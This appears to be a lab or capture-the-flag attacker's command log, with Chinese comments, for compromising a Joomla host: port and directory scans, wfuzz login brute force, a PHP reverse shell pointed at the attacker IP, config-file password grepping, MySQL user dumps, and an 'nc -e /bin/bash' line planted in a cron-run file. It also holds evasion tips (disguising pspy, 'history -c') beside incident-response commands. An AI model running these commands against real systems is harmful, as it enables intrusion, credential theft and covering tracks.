# Kali攻击机地址
192.168.45.204
# 靶机地址
192.168.224.79

# 设置MTU
sudo ip link set dev tun0 mtu 1250
ip link show tun0
# 扫描端口
ports=$(sudo nmap -p- --min-rate=5000 -Pn 192.168.224.79 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
echo $ports
# 扫描服务
sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79
sudo nmap --script=vuln -p$ports -Pn 192.168.224.79
# 扫描目录
gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
whatweb http://192.168.224.79/

┌──(kali㉿kali)-[~]
└─$ echo $ports
22,80


┌──(kali㉿kali)-[~]
└─$ sudo nmap -sT -sC -sV -O -Pn -p$ports 192.168.224.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 21:59 EDT
Nmap scan report for bogon (192.168.224.79)
Host is up (0.43s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 67:34:48:1f:25:0e:d7:b3:ea:bb:36:11:22:60:8f:a1 (RSA)
|   256 4c:8c:45:65:a4:84:e8:b1:50:77:77:a9:3a:96:06:31 (ECDSA)
|_  256 09:e9:94:23:60:97:f7:20:cc:ee:d6:c1:9b:da:18:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).'
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.89 seconds

┌──(kali㉿kali)-[~]
└─$ sudo nmap --script=vuln -p$ports -Pn 192.168.224.79
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-03 22:00 EDT
Nmap scan report for bogon (192.168.224.79)
Host is up (0.39s latency).

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-dombased-xss: Couldn't find any DOM based XSS.'
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.'
|_http-csrf: Couldn't find any CSRF vulnerabilities.'

Nmap done: 1 IP address (1 host up) scanned in 262.06 seconds

┌──(kali㉿kali)-[~]
└─$ gobuster dir -e -u http://192.168.224.79 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.224.79
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.224.79/joomla               (Status: 301) [Size: 317] [--> http://192.168.224.79/joomla/]

┌──(kali㉿kali)-[~]
└─$ whatweb http://192.168.224.79/
http://192.168.224.79/ [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.224.79]

cewl -d 5 -m 3 http://192.168.224.79/joomla/ -w cewl.txt

wfuzz -z file,users.txt -z file,cewl.txt  -d "username=FUZZ&passwd=FUZ2Z&option=com_login&task=login" http://192.168.224.79/joomla/administrator/index.php

wfuzz -z file,users.txt -z file,cewl.txt -H "Content-Type: application/x-www-form-urlencoded" -H "Origin: http://192.168.224.79" -H "Referer: http://192.168.224.79/joomla/administrator/index.php" -H "Upgrade-Insecure-Requests: 1" -H "Priority: u=0, i" -b "95cdf76491cb88d9b6312416436ea834=3sndg23usg0pjbhop55dubtm1o" -b "6821ee9ea803cd64e2920ca203163e81=l2neno354f1cr6oia2udlibioq" -d "username=FUZZ&passwd=FUZ2Z&option=com_login&task=login&return=aW5kZXgucGhw&bf5f129cafc305a052e1ace30964373e=1" http://192.168.224.79/joomla/administrator/index.php

cp /usr/share/webshells/php/php-reverse-shell.php .
sed -i -E "s/ip\s*=\s*'127\.0\.0\.1'\s*;/ip = '192.168.45.204';/g; s/port\s*=\s*1234\s*;/port = 4777;/g" php-reverse-shell.php
 

python3 -c 'import pty;pty.spawn("/bin/bash")'
ls /home/* -al

cat  html/joomla/*config* |grep pass
cat  html/joomla/*config* |grep user

mysql -u joomla -p

show databases;
use joomla_db;
show tables;
select * from jnqcu_users;
use batjoke;
show tables;
select * from taskforce;
 

cat > mysql.txt
while read -r line; do echo "$line" | base64 -d; echo; done < mysql.txt

Gdkkn Cdzq, Zqsgtq rteedqr eqnl rdudqd ldmszk hkkmdrr ats vd rdd khsskd rxlozsgx enq ghr bnmchshnm. Sghr qdkzsdr sn ghr eddkhmf zants adhmf hfmnqdc. Xnt bzm ehmc zm dmsqx hm ghr intqmzk qdzcr, "Sgd vnqrs ozqs ne gzuhmf z ldmszk hkkmdrr hr odnokd dwodbs xnt sn adgzud zr he xnt cnm's."
Mnv H mddc xntq gdko Zamdq, trd sghr ozrrvnqc, xnt vhkk ehmc sgd qhfgs vzx sn rnkud sgd dmhflz. RSLyzF9vYSj5aWjvYFUgcFfvLCAsXVskbyP0aV9xYSgiYV50byZvcFggaiAsdSArzVYkLZ==

cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za'
cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za' | grep -Eo '[A-Za-z0-9+/=]+$'
cat Abnerineedyourhelp| tr 'A-Za-z' 'B-ZAb-za' | grep -Eo '[A-Za-z0-9+/=]+$' |base64 -d

 wget http://192.168.45.204:8000/linpeas.sh

/var/www/joomla2/administrator/manifests/files/.dear_penguins.zip
cp /var/www/joomla2/administrator/manifests/files/.dear_penguins.zip .

My dear penguins, we stand on a great threshold! It's okay to be scared; many of you won't be coming back. Thanks to Batman, the time has come to punish all of God's children! First, second, third and fourth-born! Why be biased?! Male and female! Hell, the sexes are equal, with their erogenous zones BLOWN SKY-HIGH!!! FORWAAAAAAAAAAAAAARD MARCH!!! THE LIBERATION OF GOTHAM HAS BEGUN!!!!!
scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
# 限时两分钟
timeout 2m ./pspy64

echo 'nc -e /bin/bash 192.168.45.204 4778' > .trash_old

 pstree -aps 1633

 grep -r "SomeoneWhoHidesBehindAMask" /etc/cron* /var/spool/cron

sudo sh -c '
  echo "===== 系统级定时任务 ====="
  cat /etc/crontab
  ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
  
  echo "\n===== 用户级定时任务 ====="
  for user in $(cut -f1 -d: /etc/passwd); do
    echo "--- $user 的任务 ---"
    crontab -l -u $user 2>/dev/null || echo "无任务"
  done
  
  echo "\n===== 特殊位置检查 ====="
  find /etc /var /opt -name "*cron*" -exec grep -l "schedule" {} \; 2>/dev/null
  systemctl list-timers --all
'

timeout 2m /tmp/pspy64

# 下载最新版（选择对应架构）
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
mv pspy64 /tmp/

# 监控所有进程活动（默认输出到终端）
timeout 2m /tmp/pspy64

# 带时间戳的详细监控（推荐）
timeout 2m /tmp/pspy64 -p -i 1000

# 监控进程+文件系统事件
timeout 5m /tmp/pspy64 -pf

# 后台运行并记录到文件
nohup timeout 10m /tmp/pspy64 -p > /tmp/pspy.log 2>&1 &

# 监控 cron 活动
timeout 5m /tmp/pspy64 -p | grep -E 'cron|CRON'

2024/08/05 10:00:01 CMD: UID=0    PID=1234   | /usr/sbin/CRON -f
2024/08/05 10:00:01 CMD: UID=0    PID=1235   | /bin/sh -c /root/.hidden/backdoor.sh

# 监控非 root 用户的特权操作
timeout 3m /tmp/pspy64 | grep -E 'sudo|su|pkexec'

# 监控 /tmp 目录文件创建
timeout 5m /tmp/pspy64 -pf | grep '/tmp' | grep 'CREATE'

# 伪装成系统进程
mv /tmp/pspy64 /usr/bin/udevd_backup

# 低优先级运行（避免占用CPU）
nice -n 19 timeout 15m /usr/bin/udevd_backup -p > /dev/null

# 清除痕迹
rm /usr/bin/udevd_backup && history -c

# 检测内存特征
ps aux | grep -q '[p]spy' && echo "pspy detected!"

# 监控进程创建
auditctl -a always,exit -F arch=b64 -S execve -F path=/tmp/pspy64

# 查看进程环境变量
cat /proc/1544/environ | tr '\0' '\n'

# 查看进程打开的文件
ls -l /proc/1544/fd

# 查看进程映射的内存区域
pmap 1544

# 查看脚本内容（注意安全）
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 检查文件签名
file /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E 'curl|wget|bash|python|perl|nc|ssh'

# 查看进程树
pstree -aps 1544

# 查找父进程
ps -o ppid= -p 1544 | xargs ps -f

# 检查启动时间
ps -p 1544 -o lstart,etime,cmd

# 查看网络连接
lsof -i -P -n -p 1544

# 检查网络流量
nethogs -p 1544

# 抓取网络数据包
tcpdump -i any -w dump.pcap host $(lsof -p 1544 -i | awk 'NR>1{print $9}' | cut -d: -f1)

# 检查系统日志
journalctl _PID=1544

# 检查审计日志
ausearch -p 1544

# 检查隐藏日志
find /var/log -name '*.log' -exec grep -H 1544 {} \;

# 查看文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 检查文件修改历史
find /home/penguin/SomeoneWhoHidesBehindAMask -type f -newermt "2025-08-03" -ls

# 查看文件隐藏属性
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 暂停进程（不终止）
kill -STOP 1544

# 创建内存转储（取证）
gcore -o core_dump 1544

# 隔离文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /tmp/.quarantine
chmod 000 /tmp/.quarantine

# 检查定时任务
crontab -u root -l
crontab -u penguin -l

# 使用 strace 追踪系统调用
strace -f -p 1544 -o strace.log

# 使用 gdb 调试进程
gdb -p 1544

# 使用 Volatility 分析内存转储
volatility -f core_dump.1544 linux_pslist

yara -m /opt/yara-rules/malware_index.yar core_dump.1544 

# 查看 Python 反向 Shell 详情
ps -fp 1620 --forest

# 查看完整命令行
cat /proc/1620/cmdline | tr '\0' ' '

# 检查环境变量
cat /proc/1620/environ | tr '\0' '\n'

# 查看网络连接
ss -antp | grep 1620
lsof -i -P -n -p 1620

# 实时抓包
tcpdump -i any -s0 -w reverse_shell.pcap host $(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f1)

# 查看 .trash_old 内容
cat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 提取可疑字符串
strings /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old | grep -E 'curl|wget|bash|python|sh -i'

# 检查文件属性
stat /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old
lsattr /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old

# 提取 Python 命令
ps -p 1620 -o cmd | tail -1 | cut -d';' -f2

# 重构完整代码
echo 'import pty;pty.spawn("/bin/bash")' > reverse_shell.py

# 查找触发脚本的 cron 任务
grep -r "SomeoneWhoHidesBehindAMask" /etc/cron* /var/spool/cron

# 查看 cron 日志
grep "CRON" /var/log/syslog | tail -50
journalctl -u cron --since "2025-08-04 02:00:00"

# 检查 penguin 用户历史
last -u penguin
grep "penguin" /var/log/auth.log*

# 查看文件修改时间
find /home/penguin -newermt "2025-08-03" -ls

# 暂停进程但不终止（保留证据）
kill -STOP 1620 1615 1614 1613

# 网络隔离
iptables -A OUTPUT -p tcp -m owner --pid-owner 1620 -j DROP

# 内存转储
gcore -o reverse_shell_core 1620

# 进程内存快照
cat /proc/1620/maps
dd if=/proc/1620/mem of=process_mem.bin bs=1M count=10

# 保存 bash 历史
cp /proc/1621/fd/0 bash_history.txt

# 查看 ESTABLISHED 连接
ss -antp | grep ESTAB | grep 1620

# 提取目标 IP
REMOTE_IP=$(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f1)
REMOTE_PORT=$(ss -n -p | grep 1620 | awk '{print $5}' | cut -d: -f2)

echo "攻击者地址: $REMOTE_IP:$REMOTE_PORT"

# 检查连接内容
tcpflow -r reverse_shell.pcap "host $REMOTE_IP and port $REMOTE_PORT"

# 移除 cron 任务
crontab -u penguin -l | grep -v "SomeoneWhoHidesBehindAMask" | crontab -u penguin -

# 删除恶意文件
mv /home/penguin/SomeoneWhoHidesBehindAMask/.trash_old /root/malware_evidence/
chmod 000 /root/malware_evidence/.trash_old

# 重置用户密码
passwd penguin

# 检查后门账户
grep ':0:' /etc/passwd

# 安装监控
auditctl -w /home/penguin/ -p warx -k suspicious_user

sudo sh -c '
  echo "===== 系统级定时任务 ====="
  cat /etc/crontab
  ls -l /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.monthly/ /etc/cron.weekly/
  
  echo "\n===== 用户级定时任务 ====="
  for user in $(cut -f1 -d: /etc/passwd); do
    echo "--- $user 的任务 ---"
    crontab -l -u $user 2>/dev/null || echo "无任务"
  done
  
  echo "\n===== 特殊位置检查 ====="
  find /etc /var /opt -name "*cron*" -exec grep -l "schedule" {} \; 2>/dev/null
  systemctl list-timers --all
'

# 1. Pspy 监控（实时发现隐藏任务）
./pspy64 -p -i 1000

# 2. Auditd 审计
sudo auditctl -w /etc/cron.d -p wa -k cron_changes
sudo ausearch -k cron_changes

# 3. Lynis 安全扫描
sudo lynis audit system

# 发现可疑base64编码任务
echo "ZWNobyAiSGVsbG8gV29ybGQiID4+IC90bXAvbG9n" | base64 -d
# 输出：echo "Hello World" >> /tmp/log

# 查看cron历史日志
grep "CMD" /var/log/syslog | grep cron

# 创建监控任务
(sudo crontab -l -u root; echo "* * * * * /usr/bin/logger -t CRON_MONITOR 'Cron executed'") | sudo crontab -u root -

# 1. 限制cron权限
sudo chmod 700 /var/spool/cron/crontabs

# 2. 启用SELinux
sudo setenforce 1

# 3. 安装监控
sudo apt install auditd
sudo auditctl -a always,exit -F dir=/var/spool/cron/crontabs -F perm=wa